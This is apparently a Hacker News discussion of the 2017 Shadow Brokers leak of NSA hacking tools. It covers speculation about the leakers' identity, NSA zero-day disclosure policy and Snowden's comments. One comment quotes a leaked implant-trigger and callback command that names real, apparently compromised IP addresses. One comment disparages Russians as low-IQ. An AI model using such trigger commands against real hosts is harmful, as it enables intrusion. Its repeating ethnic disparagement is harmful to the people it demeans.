Snowden: NSA just lost control of its Top Secret arsenal of digital weapons

https://twitter.com/Snowden/status/850766326943690752

by Yrlec • 9 years ago

657 296 9 years ago

twitter.com

theocean1542• 9 years ago

ElegantEagle. nice

cyberpunk5• 9 years ago

No code though?

iandanforth3• 9 years ago

Can someone remind me why Snowden would be in a position to comment on if this release comprises a full or partial set of hacking tools? Specifically, does this imply that his cache of data included a list of these tools, or was his day to day job one such that he would have been normally in contact with this toolset?

perlgeek• 9 years ago

Can someone remind me why Snowden would be in a position to comment on if this release comprises a full or partial set of hacking tools?

I wouldn't interpret that that tweet as "lost control of its full arsenal". It seems that say that, but then it's a tweet and length-limited. Maybe let's just wait until a more nuanced analysis surfaces?

iandanforth3• 9 years ago

It's further down in the thread: "Quick review of the #ShadowBrokers leak of Top Secret NSA tools reveals it's nowhere near the full library ..."

dmix2• 9 years ago

A) Snowden is not making that claim

B) This dump is from 2013, not long after Snowden left, so still relevant to his knowledge on the subject. Although he wasn't trained for TAO.

tyingq4• 9 years ago

More context: https://en.m.wikipedia.org/wiki/The_Shadow_Brokers

Nicksil• 9 years ago

Non-mobile: https://en.wikipedia.org/wiki/The_Shadow_Brokers

tenaciousJk• 9 years ago

He goes on to further state:

"Quick review of the #ShadowBrokers leak of Top Secret NSA tools reveals it's nowhere near the full library, but there's still so much here that NSA should be able to instantly identify where this set came from and how they lost it. If they can't, it's a scandal."

remarkEon2• 9 years ago

I haven't read enough broken English to take a gander at what the native language is for the authors of that...manifesto. Anyone have a good guess? There's some pretty common mistakes throughout ("peoples" for people, "Americans' having" for "Americans have").

anotherturn• 9 years ago

It's likely to have been run through an author obfuscation tool which mangles the language to avoid stylometry detection.

remarkEon2• 9 years ago

I hadn't thought of that. Interesting.

corndoge• 9 years ago

Most likely an American trying to write in an Eastern European accent.

tomjakubowski• 9 years ago

Yeah, it's so over the top that it reads like a native English speaker's intentional obfuscation.

cyphunk3• 9 years ago

this. and probably an american that had not lived outside the US long enough to notice how over the top the effort comes off as.

pilsetnieks• 9 years ago

There's plenty of omitted articles (which is indicative of Slavic language speakers,) but at one point it devolves into a kind of caveman speak, so it's likely intentional.

elastic_church2• 9 years ago

ShadowBroker's blog posts always crack me up

tertius• 9 years ago

http://pan.webis.de/clef17/pan17-web/author-obfuscation.html

elastic_church2• 9 years ago

Yes, I'm aware, or, I speculate that ShadowBrokers are utilizing this to unduly burden Eastern Europeans, Russians and Chinese hackers

but really, asymmetric information is asymmetric. We just don't know.

But now we can speculate that they are American citizens, with their mention of voting for the US President.

noobermin4• 9 years ago

Even if they did this, the content is rather funny. Hilarious that such people possess so much power yet they lack an informed understanding of the world around them. That, or it is propaganda. I'm going to side with the latter.

theocean1542• 9 years ago

Looking through some of the code and some of the docs, these look old. In absence of a lot of time or some missing docs, not sure how usable these things are.

Dolores12• 9 years ago

It's usable. If i remember correctly, Cisco have patched few vulnerabilities from their 'free' version of leaked files.

toufka2• 9 years ago

/u/jvoisin on /r/netsec has a writeup: https://hackmd.io/s/r1gLMUUpx

He notes that though much is targeted at older systems, a few things that look yet-unpatched.

tekkk• 9 years ago

In the article pointed out by Snowden: https://www.nytimes.com/2016/08/17/us/shadow-brokers-leak-ra... they state that the stolen code is from 2013 and Snowden was quoted in Wikipedia saying "circumstantial evidence and conventional wisdom indicates Russian responsibility".

To me it seems impossible that non-state-sponsored hackers would have gotten their hands into top secret NSA hacking tools. If I'd have guess it would seem that TheShadowBrokers are "useful idiots" that Russia gives information in the way they did (probably) with Wikileaks. The real question is why would anyone leak these files at this very moment? Did it take this long to get angry at Trump or are there some others factors at play?

jacquesm• 9 years ago

To me it seems impossible that non-state-sponsored hackers would have gotten their hands into top secret NSA hacking tools.

About as impossible as the Snowden exfiltration, so that makes it entirely believable.

All it takes is one rogue employee or plant. And if you don't want to burn an inside asset it would pay off to release files that are several years old.

sneak• 9 years ago

"conventional wisdom", which means "knowledge of conventions and traditions", in this case means "guessing".

spydum2• 9 years ago

These look much older than 2013. So much of this stuff is targeted at sun/sco.. the only thing I can suggest is: most state/government systems are simply ancient.. so their tools will be tailored to their targets.

NickSharp• 9 years ago

For example, this tool says: https://github.com/x0rz/EQGRP/blob/master/Linux/doc/user.too...

# ELATEDMONKEY is a local privelege escalation exploit against systems running the cPanel Remote Management Web Interface, at least through version 24, and probably future versions too (althogh that should be checked before throwing).

It has been tested explicitly on cPanel 11.23.3 and 11.24.4 running CentOS 5.2 Linux

Those versions are from 2008/2009

cyberpunk5• 9 years ago

I wish I could say I'm unaware of a few thousand c5 machines still currently running prod and internet facing at just one of my previous clients; but I can't. These releases don't make things much worse than they were for those folks but let's not pretend there isnt a lot of unmaintained compute that this still applies to and that his is likely to change anytime soon.

Don't underestimate the ability of failing smbs to dismiss the risks involved with that when they can't pay to fix it.

itchyjunk• 9 years ago

Asking a president to do x,y or z by making this type of public statement probably implies it's geared towards the immediate readers and not some leader that might read it.

The security agencies might have made a lot of enemy over the years so it's not clear who benefits from this. Either financially or as ego boost.

The internet is definitely bigger that what most people might have predicted 20 years ago. So its not really a big surprising to see as much or even more power struggle than in real world battle fields.

Since every side has a propaganda to peddle, I, personally can draw no reasonable or coherent conclusions on what type of decisions are shaping the world I live in. But I am nonetheless curious to see how this all plays out in the coming years.

There is a related post on HN about this. [0]

---------------------------------

[0] https://news.ycombinator.com/item?id=14066596

kbenson2• 9 years ago

The cynical and conspiracy theory believing person might suspect that regardless of all the reasons stated for the release the last one, namely the attack in Syria, is the only one that actually prompted this.

I don't necessarily subscribe to the whole "Russia is controlling everything" line (there still so much that's unknown for sure), but it sure is easy to see a connection between Trump launching missiles against Syria which is supported by Russia, and with an embarrassing and costly release of secret information belonging to the security apparatus in the U.S. by what many people say is a front for the Russian security apparatus. Whether that connection is really there is another thing, but that narrative sure is easy to follow.

suls• 9 years ago

[..] with an embarrassing and costly release of secret information belonging to the security apparatus in the U.S. by what many people say is a front for the Russian security apparatus.

I have difficulties interpreting your statement. Are you implying US security services are "a front for the rudsian security apparatus"?

sillysaurus3• 9 years ago

It's pretty fascinating to read the Shadow Broker's posts. They have to write something, since they can't just say "I work for Russia and we're reminding America that they're not invulnerable." So they have to come up with all sorts of contrived reasons about why they're doing this, complete with broken english to fool stylometry detection that walks the fine line between being believable and preposterous. Someone spent a lot of work getting it to look so terrible.

YooLi• 9 years ago

Why are you so certain they are Russian?

snowpanda• 9 years ago

It's the popular thing to assume these days. It's also very insulting to Russian people in my opinion. But I guess it's ok to be prejudice towards some group of people but not others.

kafkaesq3• 9 years ago

FWIW Snowden speculates "Circumstantial evidence and conventional wisdom indicates Russian responsibility. Here's why that is significant" - https://twitter.com/Snowden/status/765514891813945344

revelation• 9 years ago

It's mindless drivel. The only thing you are reading is a mirror of your own preconceptions.

roywiggins• 9 years ago

Alternatively, they're someone else trying to look as if they're Russian-affiliated when they're not. "I work for Russia" would be unbelievable, so they sidle around trying to look suspiciously Russian without saying so.

throwaway7195813• 9 years ago

As a Russian myself, I can tell you with certainty that there are mistakes in that text that a Russian ESL speaker would never make, and verb tenses are a bit too good for an unskilled speaker. Due to the combination of these two factors, I bet this was written by a native English speaker who thinks he/she knows the mistakes a Russian would make. They're wrong.

doktrin17• 9 years ago

Just seems like general obfuscation to me. It would be very weird for anyone to make assumptions about their identity based on broken english.

kafkaesq3• 9 years ago

I'd be curious as to which particular "anti-mistakes" you had in mind (that you believe a non-native speaker wouldn't be likely to make). I have some hunches (like the over-use of linking verbs, and certain overly-idiomatic colocations), but I'd be curious as to what stands out in your view.

ooqr2• 9 years ago

I'm pretty sure that was GP's point. The text is intentionally garbled with no identifiable first-language bias.

samstave• 9 years ago

CIA got it...

hnaparst5• 9 years ago

If you have a copy of the linguistic analysis written by Shlomo Argamon, please post it.

snowwrestler2• 9 years ago

"Actually it's probably a false flag to make Russia look bad." - throwaway71958, created 8 days ago

2017 in a nutshell right there.

bluecreator3• 9 years ago

This text structure is from the poem "America" by Ginsberg. They're playing with it. Particularly first second third person stuff.

int_19h4• 9 years ago

I'm also Russian, and I have to concur with this assessment after looking at the text (while noting that I do generally believe that Russian government was actively involved in cyberattacks against US, including, among other things, to affect election results last year). It does sound very much like a native or near-native English speaker trying to fake Russian accent.

zedred• 9 years ago

Can you give us some examples?

microtonal• 9 years ago

Due to the combination of these two factors, I bet this was written by a native English speaker who thinks he/she knows the mistakes a Russian would make.

Or it is Russian and they intentionally formulated this as cartoonesque Russian, so that everyone says "this can't possibly be Russian, it's someone who tries to put the blame on Russia".

The problem is that if this comes from a government power, it is likely that they have the resources to use some professional translators and/or linguists to make it look whatever they want it to look like.

Anything here that is not backed by other data is just pure speculation.

nthcolumn• 9 years ago

People are assuming Russian or someone pretending to be Russian. For me the person is an Iranian living in the West possibly Europe.

ender89• 9 years ago

Sure, but I'm betting that a russian backed attempt to sow chaos could hire someone capable of putting together a decent sentence in english. There could be all sorts of reasons for the broken sentence. Sentence structure can be a sort of fingerprint, I would probably run any message I had through google translate a few times until I had something which was still legible, but didn't sound like my writing. And that has the benefit of making it seem like a non-english speaker wrote the post, its all just misdirection.

scythe• 9 years ago

I think that any agency with the capability to break into the NSA has also the capability to hire a proofreader. That is, any mistakes left in the documents are there intentionally.

doktrin17• 9 years ago

This thread is slowly devolving into the linguistics equivalent of the poison scene in the Princess Bride :

https://www.youtube.com/watch?v=SL4c9gCRSKY

tyingq4• 9 years ago

They went even harder at it in an earlier medium post:

"TheShadowBrokers is having special trick or treat for Amerikanskis tonight."

https://medium.com/@shadowbrokerss/message-5-trick-or-treat-...

I suppose though, that "Amerikanski" might be used outside Russia. Serbia, Bulgaria? Misdirection seems more likely though.

rukuu001• 9 years ago

is having special trick or treat for Amerikanskis tonight

Sounds like a villian from a 60's Bond flick.

mladenkovacevic2• 9 years ago

Amerikanski is used in those languages to indicate ownership (eg. This is an American car) so to someone of slavic speaking origin this would be wrong (they would've said Amerikanci to indicate plural). But even aside from that, this honestly sounds so put on. Even the worst english speakers I know from eastern Europe know that you add an "s" to form plural. We all take English from elementary school and nobody would make that mistake, not to mention that it's a mistake even in a slavic language.

A much more common mistake you will find is not knowing when to use "the" or "a".

Edit: unless it is a Russian pretending to be an American who is pretending to be Russian which, who the hell knows, anything is possible.

int_19h4• 9 years ago

This is actually a tell-tale sign that whoever wrote this doesn't speak Russian. Let me explain why.

In English, the noun describing the nationality is also an adjective describing belonging to, or affiliation with, that nationality. E.g. "An American is driving an American car".

In Russian, this is not the case - they are different words, sharing the same root. Some examples (noun - adjective):

US: Amerikanets - Amerikanskiy EN: Anglichanin - Angliyskiy DE: Nemets - Nemetskiy AR: Arab - Arabskiy CN: Kitaets - Kitayskiy

There's one and only one exception, and that, ironically, is the word for "Russian": "russkiy". It's the same for both the noun and the adjective, and, as you can see by comparing it with the list above, morphologically it looks like an adjective. The historic explanation for that is that it originated from the time of the Varangian conquest of Eastern Slavic lands, when the population was referred as "the people of [belonging to] Rus" - "Russkie lyudi" - where Rus was the name of the Varangian tribe in question.

Anyway, what this means is that no native Russian speaker would use the word "Amerikanskiy" to refer to Americans. It only makes sense as an adjective in "American something". However, the addition of "-s" at the end to indicate plural unambiguously tells us that whoever wrote this, treated it as a noun. Which would make perfect sense for a native English speaker, for whom the two are naturally conflated.

And the most obvious explanation for that is that if you put the word "American" by itself into Google Translate, for example, it can't decide whether it's a noun or an adjective without context, so it has to assume one or the other. And it seems to be assuming adjective by default, so you get "Amerikanskiy" back.

Oh, and by the way, writing at as "Amerikanski", without the final "y", is also something that hints strongly that it's not a native speaker. A native speaker would likely transliterate it letter by letter, starting from Russian "Американский", yielding "Amerikanskiy". However, that final "y" is really short when spoken, which is why native English speakers often miss it entirely when transcribing.

On top of that, Polish uses "-ski" for the same words: "polski", "rosyjski", "angielski", "arabski" etc. In Polish, it's also a very common (and ethymologically related - think "of ...") ending for last names - e.g. Piłsudski. There are a lot more Poles, or at least families with Polish ancestry, in US in particular than there are Russians. As a result, Polish last names are pretty common and well-known, as is their spelling. So, that spelling is often applied to vaguely similarly looking and sounding Russian loanwords and transliterations, which also leads to dropping of that final "-y" in "-skiy".

So, definitely not Russian, and overall slightly more probable to be a native English speaker from US.

That's, of course, assuming that the wording wasn't deliberately mangled to look like fake Russian, in a double misdirection...

rdtsc2• 9 years ago

I speak 3 languages including Russian. I agree with the throwaway's post that it sounds like someone was trying to write like a Russian but didn't do a very good job.

draw_down• 9 years ago

Well, they certainly seem to have succeeded in fooling plenty of people around here.

samirillian• 9 years ago

Trying to figure out who they are by analyzing the content of these posts is like trying to figure out if a child is lying by asking them repeatedly. Other sources of evidence are necessary.

Anyway, while their nationality isn't obvious, their childishness is. I think that's the only detail that can really be gleaned from the text itself.

Mahn• 9 years ago

Unless the childishness is also intentional to mislead. The whole post is bizarre, I would take it all with a grain of salt.

hnaparst5• 9 years ago

Shlomo Argamon has reposted his linguistic analysis http://multaverba.blogspot.com/2017/04/initial-linguistic-an...

Sacho2• 9 years ago

After reading the analysis, I think the author focused too much on "native speaker". It seems entirely plausible to me that the text was written by a fluent non-native English speaker, who was trying to make the post look like the more common broken English proclamations from Russian hacking groups for whatever reason(blending in and throwing off investigations maybe).

fixxer• 9 years ago

I don't know anything about the value of this crap, but I do find it interesting to grep through looking at the IPs (which I presume are compromised machines from which they are initiating attacks). See `./bin/pyside/targets.py`

toufka2• 9 years ago

202.38.128.1 - http://ihep.ac.cn/ - Chinese Academy of Sciences High Energy Physics

211.40.103.194 - http://utc21.co.kr - Korea

from: https://github.com/x0rz/EQGRP/blob/master/Linux/etc/opscript...

#### JACKLADDER - triggering IN thru JACKPOP on Linux (FAINTSPIRIT) ####

### Local window, let this sit and wait: ourtn -T 202.38.128.1 -n -I -ue -O 113 -p 443 -C 211.40.103.194 127.0.0.1

### on PITCH: set up window for nopen callback -nrtun 113

hl53• 9 years ago

Obviously, Perl is the NSA top language choice due to it's built in support for obfuscation and job security.

stonogo• 9 years ago

Sure.

It couldn't be because perl is installed by default on all of the target platforms. Practicality trumps conference talks when there's work to be done, even in the government.

doktrin17• 9 years ago

I know it's not the HN norm, but I believe the parent was making a joke

hl53• 9 years ago

I can assure you, practicality and job security have no place in the same sentence when discussing government work.

nickpsecurity5• 9 years ago

Although you're joking, Perl was invented to make an NSA project easier to develop. That project was first, high-assurance VPN: BLACKER. It was also NSA's attempt to do something secure for once since they lost the argument to INFOSEC co-founder, Roger Schell, where they thought only communications security, not computer security, mattered. They contracted it to TRW who made a lot of secure stuff & government systems in general back then. Larry Walls was a smart, properly-lazy programmer working at TRW who wanted to make irritating parts of his job easier with better tools. The resulting tool, PERL, had much more impact than BLACKER VPN. ;)

Whereas, the NSA's project failed initially because the team couldn't design a security kernel that had great security and acceptable performance. Told NSA they'd have to pick one. Schell told NSA he knew a guy with a design, GEMSOS, with both properties. NSA reluctantly used GEMSOS in BLACKER. The first, highly-secure VPN w/ general-purpose kernel was born. Who knows what the deployment or usability side of it was, though. Classification rules kept them from publishing on it for a decade or so where it then got paywalled. Classification is probably why Larry Walls didn't say much about BLACKER when describing its history. At least ones I read.

http://ieeexplore.ieee.org/document/213253/?arnumber=213253

http://www.cse.psu.edu/~trj1/cse443-s12/docs/ch6.pdf

thyrsus• 9 years ago

The second paper mentions BLACKER and MLS, but nothing about perl. The closest perl comes to MLS is "taint" mode, but that seems a stretch. The first paper is pay-walled. Are you sure you're not thinking of SELinux?

quinndupont• 9 years ago

Neither article makes any mention of Perl, which isn't terribly surprising, since BLACKER is still highly classified, with very little is publicly known about its design and operation. You'll find some discussion of BLACKER in my recent article: http://ieeexplore.ieee.org/document/7763734/ (Open access/free pre-print version: http://iqdupont.com/assets/documents/DUPONT_FIDLER-2016-Prep...)

A few points of note: it's rather weird to call BLACKER a "VPN"; it's likely much broader than this (it's a network, crypto suite, secure kernel, system architecture, etc), and yet encompasses a very different goal. In fact, the degree to which it originates out of secure kernel research is, we argue in our paper, somewhat unclear, and perhaps this is only a small part of the equation.

If anyone has any additional information about these early architectures, I would love to speak with you, contact me at http://iqdupont.com.

Animats• 9 years ago

This stuff looks old. There are versions for Solaris and SCO Unix.

cyberpunk5• 9 years ago

Solaris is still a valid target. Samsung have several datacentres running workloads on Solaris to the point where it made sense to buy Joyent. Don't you think finance running exadatas are probably worth targeting also?

aiham• 9 years ago

$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");

https://github.com/x0rz/EQGRP/blob/master/Linux/bin/xp_phpbb...

cyberpunk5• 9 years ago

There is at least one very large bank (which I won't name) who is unable to move off ie6 for some internal apps which to my knowledge are still using this in some backoffices even today.... At least two years ago they were paying Microsoft less money than a rewrite would cost to support it so it kind of makes sense....

I only found that bad boy out after disabling some ciphers on some loadies which broke a lot of their stuff....

mcintyre1994• 9 years ago

From the Medium post linked (https://medium.com/@shadowbrokerss/dont-forget-your-base-867...)

- Don’t care if you swapped wives with Mr Putin, double down on it, “Putin is not just my firend he is my BFF”.

- Don’t care if the election was hacked or rigged, celebrate it “so what if I did, what are you going to do about it”.

This has got to be a fake group trying to discredit Trump right? I don't like him or what he's doing, but surely surely his supporters don't subscribe to at least the latter view there?

doktrin17• 9 years ago

surely surely his supporters don't subscribe to at least the latter view there?

You must not have very many conservative friends on Facebook. "Russia didn't write the emails" has to be one of the most popular memes of the last 6 months.

RodericDay• 9 years ago

How is that a "meme"?

I don't know any conservatives but every single leftist I know thinks that russophobia is at absolutely deranged levels, as a vehicle for Clinton apologism.

The idea that "Russia decided the election" is absurd, but repeated often enough, is starting to be taken as truth by those who find it palatable.

akud• 9 years ago

The content reads pretty clearly like a native English speaker imitating immature hacker-speak. It comes across as if it were written by a script-kiddy; that may be intentional.

dmix2• 9 years ago

This is what everyone has been saying since last year when they first posted the auction...

bluecreator3• 9 years ago

NONE of you guys read poetry? This is a bend on "America", by Ginsberg. All coding and no poetry makes Jack a dull boy. Read it.

Implicated• 9 years ago

Care to elaborate on this? (No, I don't read poetry but I'm curious about the connection)

codezero• 9 years ago

A lot of the scripts appear to have been written by the same person, or is that just me reading into it? They have a distinct comment style in both Python and Perl.

Also, a lot of the tools appear to instruct people to paste various things in to them. I find it unlikely that a single person wrote all the tooling for the NSA, but, who knows.

alkonaut• 9 years ago

I noticed the same thing. And it's very informal, which surprised me. Would have expected this kind of documentation to be pretty dry.

Harken• 9 years ago

"We voted for you, comrade. Here is old malware from deepnet kiddy porn site post for to confuse."

Could be Russia pissed about puppet twitching without permission, or could be Bannon (via Cambridge Analytics?) pissed about puppet twitching without permission.

Twitch, puppet, twitch!

daodedickinson• 9 years ago

If it's twitching without permission, it's not a puppet.

mavdi2• 9 years ago

Given the latest world events, I've personally come to realise that security agencies play an important role in keeping us safe, from external entities or from ourselves.

This is disaster in my (current) opinion. We tend to dismiss the work the likes of NSA do, not thinking much about what would happen if they didn't do it. Snowden categorically dismissing anything that NSA does, just means he's a deluded idealist, much like I used to be.

cyberpunk5• 9 years ago

I don't think he dismissed anything, he simply exposed what is currently happening.

We make a kind of deal with our governments, some things we agree to be kept in the dark about for security reasons (specific intelligence or some clandestine operation or other) but I don't think that deal covers the kind of surveillance snowden exposed and I don't see at all how exposing the actions of our governments is deluded or idealistic: can you elaborate?

Why would you prefer not to know what your government is doing when knowing doesn't break the 'willful ignorance' contract we entrust these people with?

aub3bhat• 9 years ago

I agree, to quote Mike from breaking bad.

"Just because you shot Jesse James, don’t make you Jesse James.”

Snowden is skilled at data theft and not a source of wisdom when it comes to surveillance.

The liberal media (hate to use that term) is equally complicit. They have trotted him around as source of wisdom. The leaker of Pentagon Papers had a position that allowed him to asses the subject matter. Snowden on the other hand was a sysadmin.

mavdi2• 9 years ago

Indeed we can either believe the world getting irreversibly worse after these leaks, is just a coinsidence, or somewhat related.

A lot of people died, it would be naive to think snowden's actions didn't contribute to it. However noble his intentions might be.

apeace• 9 years ago

Snowden categorically dismissing anything that NSA does

That's not representative of Snowden's opinion at all. From the beginning he's always stated he believes in the mission of the intelligence agencies. Heck, he used to work for one.

"I am not trying to bring down the NSA, I am working to improve the NSA" [0]

[0] https://www.washingtonpost.com/world/national-security/edwar...

Twisell• 9 years ago

Or maybe we just need more traditional intelligence because focusing on identified threat based on field intelligence is more effective than spying on every communications and hope to somehow filter relevant data point over noise.

If I two terrorists agree to act when a nyan cat is posted on a specific Facebook account no neural network can help you manage the threat. Human based investigation and infiltration on the other hand can lead to real world judiciary actions.

int_19h4• 9 years ago

This implies, without evidence, that all of the work that NSA does is directly related to keeping us safe. I wouldn't be so quick to lump it all together like that.

Then, of course, there's also the objection that "keeping us safe" is not an absolute. There are many ways to keep people safe, but they're so extremely onerous that we don't practice them. Totalitarian societies with pervasive open surveillance (think 1984) are very safe, for example, but at what cost? So clearly there's a balance, and one can't just dismiss any concerns about the cost of that safety by saying that it's necessary - it has to be demonstrated that it is (i.e. that the gains from that increased safety justify the losses from intrusiveness).

cyphunk3• 9 years ago

A good time to remember the official US Intelligence Community statement and policy/lie on 0days, as given post-heartbleed:

    When Federal agencies discover a new vulnerability in commercial 
    and open source software – a so-called “Zero day” vulnerability
    because the developers of the vulnerable software have had zero days
    to fix it –  it is in the national interest to responsibly
    disclose the vulnerability rather than to hold it for an investigative
    or intelligence purpose.

https://icontherecord.tumblr.com/post/82416436703/statement-...

https://news.ycombinator.com/item?id=7575802

redahs• 9 years ago

Could this problem be fixed by splitting the NSA into two competing agencies, one handling offensive signals intelligence, and one handling cryptography research and disclosures?

Intuitively it seems when the same agency performs both roles it creates a conflict of interest and bias against disclosure.

H4CK3RM4N2• 9 years ago

But then your second branch ends up looking(to the government at least) a lot like a research program instead of anything meaningful in terms of intelligence.

pstuart• 9 years ago

How about a third agency that focuses on securing our digital infrastructure?

PhasmaFelis2• 9 years ago

I've wondered how "zero day" mutated from its original meaning of "pirated software cracked and released on the day of its commercial release" to "a software vulnerability of which the software's maintainers are not yet aware". There doesn't seem to be any connection aside from illicit cracking.

jaxn• 9 years ago

Zero day has been used in this context for at least 15 years and means that the vulnerability has been publicly known for zero days, or rather it is an undisclosed vulnerability.

chriscappuccio• 9 years ago

This is part of the evolution of w0rdz. Now, it just means "fresh". The l33t-speak mutated once it went from warez to expl0itz. This should be obvious. If not, i'm pretty sure they teach this in l33t 101 or even l33t 95.

ashurov• 9 years ago

I did some minor research in the past..

The origin of 0-day (zero-day) in hacking (etymology of zero-day): http://bjorn.kuiper.nu/tag/zero-day/

willstrafach4• 9 years ago

A nice "gotcha" but probably more fair to include this portion:

Unless there is a clear national security or law enforcement need, this process is biased toward responsibly disclosing such vulnerabilities.

...due to the fact that most of the EQG vulnerabilities appear to be crafted for specific collection targets, not stumbled upon and held onto for fun.

lern_too_spel• 9 years ago

A good time to remember the actual policy of the US government on 0-days (the so-called VEP), which is more nuanced than the tinfoil hat crowd is willing to understand. https://epic.org/privacy/cybersecurity/vep/

cyphunk3• 9 years ago

Interesting read. Anyone know where the vulns disclosed under so-called VEP are listed? Effectiveness the VEP policy, which the FBI directory calls "informal", would be measurable now when comparing disclosed via VEP vs undisclosed/disclosed via leak.

zengid• 9 years ago

All of this spy vs spy intrigue makes my head hurt

jasonhansel• 9 years ago

I wonder what this is for: https://github.com/x0rz/EQGRP/blob/master/Linux/bin/strangeF...

It looks like it's searching for files/directories with unusual names (like ". ") that system administrators wouldn't normally notice.

geusebi• 9 years ago

I remember (probably around 10 years ago) of a compromised server with a couple of strange files ". " and ".. ". After looking into it I realized that they were a ftp server and a process name changer. I would say your guess is correct, this script is probably used to spot weird file names which would pass unnoticed with a simple "ls".

eps• 9 years ago

Likely a response to the Syrian airbase tomahawking from a couple of days ago?

Russians are known for what they themselves call "asymetrical answers", so this seems to fit the pattern.

noobermin4• 9 years ago

Honestly though, how does leaking tools from the NSA whom Trump was suspicious of just a few weeks ago constitute an attack against him?

oculusthrift2• 9 years ago

remember that 1000s of paid russians were used to interrupt our election on sites like reddit. wouldn't be surprised if a few leaked to this site. especially with green accounts.

doktrin17• 9 years ago

HN is by now a well known forum, and exerting influence over its participants would be valuable for many parties; including but not necessarily limited to state actors. Hence, it's fair to assume that there are comments made in bad faith - particularly in highly visible political threads like this one.

Identifying specific malicious actors (and their origin) is tricky from a reader's POV, so the best I can personally do is not let ridiculous statements go unanswered. Ignorance is more common than malice, but I'm sure there's a bit of both in here today.

coldtea4• 9 years ago

remember that 1000s of paid russians were used to interrupt our election on sites like reddit.

Or so a 2017 version of the "red scare" goes, so that the military industrial complex can sell more weapons and more "safety", and the fingers can keep being pointed at some enemy or another. That way their budgets get approved, some poor countries pay the toll (who cares anyway), and they might even be able to plunder them afterwards. Worked wonders the last 30+ years.

Not to mention that the US sponsors tons of NGOs, magazines, organizations, events, political parties, etc, with favorable views to its interest all over the world, and has done that none stop since at least WWII, meddling with elections, paying journalists, etc -- and when nothing else works.

oculusthrift2• 9 years ago

ahhh..... whataboutism[0]. classic russian tactic.

https://en.wikipedia.org/wiki/Whataboutism

sctb• 9 years ago

If you suspect organized behavior like this on Hacker News, please email us at hn@ycombinator.com and flag such comments that violate the guidelines. We take this seriously and we're happy to investigate. But do that instead of comment about it here, because the kinds of discussions we're trying to have always come more easily when we assume good faith.

We've detached this subthread from https://news.ycombinator.com/item?id=14069328 and marked it off-topic.

jorblumesea4• 9 years ago

Is there any doubt the Shadow Brokers are Russian and working for Russian interests? The timing of releases, international events concerning both countries and pointed measures are far too suspicious to be considered circumstantial.

mirimir10• 9 years ago

Sure, but that's what someone would do if they were trying to implicate Russians.

trendia• 9 years ago

Maybe they knew we'd think it odd for Russians to speak with a Russian accent so they did it anyway to trick us.

"Are you the sort of man who would put the poison in his own goblet? Now a clever man would put the poison into my goblet, because he would know that only a fool would drink the goblet given to him. I am not a fool, so clearly you wouldn't do that. But you must have known that I was not a great fool, so I mustn't drink from the wine in front of me!" [0]

[0] https://www.youtube.com/watch?v=U_eZmEiyTo0#t=1m20s

jorblumesea4• 9 years ago

Almost certainly what a Russian disinformation campaign would include. But you cannot easily hide motives and attack patterns. These kind of campaigns scream Russia, no one else in the world operates like them or could operate like them. Almost everyone in the intelligence circles include Snowden agrees they are Russian. Smells like a duck, quacks like a duck...

Veratyr• 9 years ago

Yes. We're in the middle of an information war between America and Russia. I highly recommend doubting everything that involves either of these countries. I'm yet to find a single source of information that doesn't contain bias one way or the other. Even HN seems to have a "of course it's Russia" bias these days.

pdkl952• 9 years ago

America and Russia

Remember that even naming these two countries is a bias unless there is specific evidence. America and Russia are obvious suspects, but other countries (and even non-state actors).

There is very little actual evidence and far too much time spent on useless - and distracting - speculation.

Even HN seems to have a "of course it's Russia" bias these days.

I suspect a lot of people are still using cold war era standards for how propaganda works. The modern methods[1] are a lot more subtle. A potential example might be this very thread where a lot of people seem to be wasting time speculating about the leak's origins instead of looking at the actual evidence that is available: the software itself.

[1] e.g. Russia's "non-linear warfare" methods that introduce as much confusing/distracting chaos as possible, or the psychological wedges JTRIG (GCHQ) uses to split communities before they grow into larger "problems".

0x38B• 9 years ago

Like others are saying, there's a mismatch between the overall sentence structure and progression - which strikes me as more native - and the mistakes. I don't buy the verb misconjugation especially, a Russian ESL learner at that level would get that right more often than not.

Source: many conversations with Russians learning English (also near-native Russian)

r721• 9 years ago

Nicholas Weaver‏: "Overall, though, it looks like the auction file from Shadow Brokers is mostly a bust, better stuff in the free file."

https://twitter.com/ncweaver/status/850797548717481984

the grugq: "Calling it now: the first ShadowBrokers dump was an expensive signal. This latest one was not (expensive, that is.)"

https://twitter.com/thegrugq/status/850825305845399552

joshschreuder• 9 years ago

What does "expensive signal" mean in this context?

chowell• 9 years ago

He expands in his Medium post from last year, here: https://medium.com/@thegrugq/the-great-cyber-game-commentary...

spydum2• 9 years ago

Why is everybody posting/curious about the language of the blog post and not the contents of the file?

I've looked through some of the contents.. Some look incredibly old, but others target odd things.. lots of cPanel. My only guess is take the low hanging fruit to build "jump box" type systems?

Some odd examples: ElegantEagle/toffeehammer.. focuses on cgiecho for RCE. The thing is, a CVE was just released for this case maybe a month ago?: http://www.cvedetails.com/cve/CVE-2017-5613/

So if this dump was from 2013, why did the CVE recently pop up? Or is that coincidence?

hnaparst5• 9 years ago

Many people may not be technically savvy enough to understand the contents of the file, but everyone is interested in who the author is. In fact, these exploits are rather old, but the identity of ShadowBrokers is fresh.

And the idea that you can figure out where someone is from by analyzing their written text is as fascinating as doing the same to their code.

mozey• 9 years ago

the idea that you can figure out where someone is from by analyzing their written text

That idea is quite well known, so it's likely that the post was written like that deliberately. I was just wondering if you could create a similar sounding post with a chain of people rewriting the original in their own words.

hl53• 9 years ago

Regardless of the source, full disclosure works. Whomever is responsible for releasing this material is also improving computer security for everyone. Thank you.

shitgoose• 9 years ago

shadowbrokerss remind me of this guy:

https://www.youtube.com/user/FPSRussia

100% American from Georgia, sometimes loses Russian accent and slips into perfect English:)

lngnmn• 9 years ago

Looks like bullshit. It does not match the vault7 leak, which is supposed to be from the very same NSA.

It is Russians. The classic example of Dunning Kruger effect. In a generally low IQ environment and primitive criminalized cultural environment they truly believe that what is enough to fool everyone around them, including the bosses (who are supposed to be really smart), will surely fool everyone else.

This is the phenomenon of negative selection of a cancer-like corrupted society (which ran for a three decades already) at work. They are literally decades behind of the technological progress and culture of the modern civilization.

They simply have no idea of what possible level of intelligence and sophistication could be found in places with decades of consistent high-IQ-based selection, like companies staffed with top 5% of MIT/Standford/Caltech/Berkeley graduates and what this kind of organization could do (think of Apple, Google, etc).

A high-tech US govt agency would never had such a crap in their folders. They are not a bunch of disconnected from reality, overconfident, self-deluded with their own primitive propaganda Russian punks.

strictnein3• 9 years ago

"NSA just lost control of its Top Secret arsenal of digital weapons"

This is just inaccurate, or at least purposefully misleading. The NSA did not just lose control of its "Top Secret arsenal of digital weapons".

